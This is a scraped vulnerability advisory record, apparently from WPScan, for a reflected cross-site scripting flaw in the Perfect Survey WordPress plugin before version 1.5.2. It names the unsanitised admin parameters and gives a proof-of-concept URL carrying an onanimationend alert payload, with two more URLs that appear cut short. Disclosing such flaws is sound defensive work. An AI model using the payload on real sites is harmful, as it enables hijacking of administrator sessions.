Lucene search

K
wpvulndbApple502jWPVDB-ID:C2F8E9B9-C044-4C45-8D17-E628E9CB5D59
HistoryOct 05, 2021 - 12:00 a.m.

Perfect Survey < 1.5.2 - Reflected Cross-Site Scripting

2021-10-0500:00:00
apple502j
wpscan.com
10

0.001 Low

EPSS

Percentile

40.2%

The plugin does not sanitise and escape multiple parameters (id and filters[session_id] of single_statistics page, type and message of importexport page) before outputting them back in pages/attributes in the admin dashboard, leading to Reflected Cross-Site Scripting issues

PoC

https://example.com/wp-admin/edit.php?post_type=ps&amp;page;=single_statistic&amp;id;=1"+style%3danimation-name:rotation onanimationend%3dalert(/XSS/)// https://example.com/wp-admin/edit.php?post_type=ps&amp;page;=single_statistic&amp;id;=765&amp;filters;[user_id]&amp;filters;[session_id]= https://example.com/wp-admin/edit.php?post_type=ps&amp;page;=importexport&amp;message;=

CPENameOperatorVersion
perfect-surveylt1.5.2

0.001 Low

EPSS

Percentile

40.2%

Related for WPVDB-ID:C2F8E9B9-C044-4C45-8D17-E628E9CB5D59